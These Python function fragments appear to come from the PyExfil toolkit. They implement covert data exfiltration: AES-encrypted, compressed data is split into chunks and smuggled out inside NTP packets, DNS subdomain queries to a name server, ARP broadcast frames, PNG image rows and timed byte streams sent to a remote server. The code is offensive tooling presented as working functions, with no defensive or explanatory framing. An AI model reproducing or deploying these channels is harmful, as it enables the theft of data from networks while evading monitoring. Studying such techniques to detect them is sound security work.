def Broadcast(data, to=SERVER, port=NTP_PORT, key=KEY): """ Send message out to server :param data: Data to send to server [str] :param to: IP/DNS of server [str] :param port: Server's Port [int] :param key: Key for AES-OFB mode. [str] :return: Boolean """ if len(data) > 16: chunks = _splitString(stri=data, length=16) else: chunks = [data] for chunk in chunks: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) addr = (to, port) pyld = _buildNTP() tmp = AESEncryptOFB(key=key, text=chunk) pyld += tmp # 4 Timezones (ref, original, recv, transmit) sock.sendto(pyld, addr) return True
def Exfiltrate(self): data = zlib.compress(self.data) data = AESEncryptOFB(text=data, key=self.key) data_as_hex = str(binascii.hexlify(data))[2:-1] exfiltrate_this = _split_every_n(data_as_hex, PACKET_MAX_SIZE) for item in exfiltrate_this: _send_packet('%s.%s' % (item, self.name_server)) return True
def broadcast_message(self, message): """ Send a message over ARP Broadcast :param message: Message to send as str. :param key: The parameter to use as key. :return None: """ msg = AESEncryptOFB(key=self.key, text=message) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP sock.sendto(msg, (self.client, self.port))
def broadcast_message(message, key=PYEXFIL_DEFAULT_PASSWORD): """ Send a message over ARP Broadcast :param message: Message to send as str. :param key: The parameter to use as key. :return None: """ msg = AESEncryptOFB(key=key, text=message) n_frame = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP( op=1, pdst="192.168.1.254") / Raw(load=msg) sendp(n_frame, verbose=False)
def talkToClient(self, ip): """ Start the brokering server listener. :param ip: Client IP addr [str] :return: None """ # Here is where you want to hook up to automate communication # with the clients. logging.info("Sending 'ok' to %s", ip) d = _buildNTP() d += AESEncryptOFB(key=self.key, text="OK") self.sock.sendto(d, ip)
def Exfiltrate(self): data = zlib.compress(self.data) data = AESEncryptOFB(text=data, key=self.key) data_as_hex = str(binascii.hexlify(data))[2:-1] exfiltrate_this = _split_every_n(data_as_hex, PACKET_MAX_SIZE) i = 0 for item in exfiltrate_this: i += 1 check = _send_packet(self.server_addr, self.server_creds, i, item) if not check: return False return True
def initialize(self): if not self.generate_empty_image: if os.path.isfile(self.png_path): pass else: if self.verbose: sys.stderr.write( "File path to '%s' was not found.\nWill continue with empty image.\n" % self.png_path) self.generate_empty_image = True try: self.encrypted_data = AESEncryptOFB(key=self.key, text=self.data) self.encrypted_array = array.array('B', self.encrypted_data) except Exception as e: if self.verbose: sys.stderr.write("Error encrypting data with '%s'.\n" % str(e)) raise e self.line_count = int( len(self.encrypted_array) / MAX_IMAGE_ROW_LENGTH) + 1
def Sender(self, data): data = base64.b64encode(zlib.compress(AESEncryptOFB(self.key, data))) for item in data: self._sendByte(item) time.sleep(self.timewait) self._sendByte(random.randint(1, Send.MAX_TERMINATOR_SIZE))
def _Create(self): this_data = self.DEFAULT_STRUCT this_data['host_int'] = AESEncryptOFB(self.key, self.data) self.payload = str(mydict(this_data))